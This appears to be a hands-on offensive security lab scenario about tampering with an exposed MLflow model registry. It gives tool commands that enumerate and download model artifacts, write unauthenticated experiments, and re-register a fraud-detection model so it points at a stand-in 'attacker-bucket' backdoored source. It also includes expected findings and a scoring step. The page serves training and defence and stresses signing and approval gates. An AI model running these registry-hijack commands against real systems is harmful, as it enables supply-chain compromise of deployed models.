Skip to content

Scenario 10: Supply Chain Model Tampering

Difficulty: Advanced Time: ~35 minutes Prerequisites: Complete Scenario 06 Target: ailab-ml:5000 (MLflow backend), ailab-ml:8265 (Ray)

Background

Model supply chain attacks compromise the ML lifecycle at the artifact level. A model stored in MLflow's registry can be re-registered to point at an attacker-controlled artifact source, and arbitrary experiments/runs can be injected — both without authentication when the tracking server is exposed. Model scanning (e.g. modelscan) catches known serialization attacks (pickle/unsafe-deserialization), but a registry-redirect or weight-poisoning backdoor is policy, not payload.

In this flat lab, ailab-ml:5000 is the MLflow platform backend — directly reachable (the shadow-AI premise: everything in the estate is exposed). That is a distinct surface from the gated MLflow gateway at ailab-ds:5000, which is the credential-chained hop in Scenario 06/08 (Basic-auth with Ray-looted creds). Tampering targets the writable backend.

Objective

Enumerate model artifacts, prove unauthenticated write access to the registry, and assess supply-chain risk — while being precise about what the tool proves versus what is downstream impact.

Commands

# Read the registry and a model version's artifacts (no auth on the exposed backend)
aipostex mlflow --target http://172.16.50.20:5000 registry
aipostex mlflow --target http://172.16.50.20:5000 model-artifacts --model acme-fraud-detector --version 1

# Risk-scan a downloaded model file for unsafe serialization
aipostex mlflow --target http://172.16.50.20:5000 download-artifact --run-id <id> --artifact-path model/MLmodel
aipostex model-scan --path ~/lab-results/mlflow-artifacts/

# Prove write access (mutating): create an experiment + run + parameter
aipostex mlflow --target http://172.16.50.20:5000 tamper-proof --force-exploit

# Prove registry hijack (destructive): register a version that redirects to an attacker source
aipostex mlflow --target http://172.16.50.20:5000 swap-model \
  --model acme-fraud-detector --source s3://attacker-bucket/backdoored-model \
  --force-exploit

Expected Finding

Read (enumeration):

  • Registered models with version history and artifact storage URIs
  • Transition stages (Staging → Production) with no approval gate
  • Model files downloadable for inspection; model-scan flags unsafe-serialization risk

Proven — execution-confirmed write primitive:

  • tamper-proof creates an experiment, run, and parameter on the server and reads them back — unauthenticated write to the tracking store is confirmed.
  • swap-model registers a new model version pointing at an attacker-controlled source URI and reads the new version back — registry redirect/hijack is confirmed.
{
  "finding_type": "vulnerability",
  "service": "mlflow",
  "detail": "Unauthenticated registry write confirmed (experiment+run created; model version redirected and read back)",
  "models_writable": true,
  "proof_strength": "execution-confirmed",
  "registered_models": ["acme-fraud-detector", "acme-recommender"]
}

Out of scope (downstream impact — NOT proven here): the lab has no serving layer that auto-loads the latest registry version, so this scenario proves the write/redirect primitive, not a live poisoned prediction in production. The real-world impact (a serving system pulling and executing the trojaned model) follows from the write primitive but is not demonstrated by the tool — claim the primitive, not the prediction.

Real-World Impact

Unauthenticated registry write is the foothold for a supply-chain compromise: an attacker redirects a production model's source or injects a backdoored version, and any pipeline that promotes/serves "latest Production" without integrity verification (checksums, signing, approval gates) loads it on the next deploy. The defensive lesson is to gate and sign the registry — the tool here establishes that the gate is missing.

Scoring

python3 ~/lab/scoring/score.py ~/lab-results --strict

Scoring objective: confirm a model artifact can be downloaded and that tamper-proof/swap-model land an execution-confirmed write against the registry. (The scorer rewards the proven write primitive; it does not expect a downstream-serving proof, which the lab does not host.)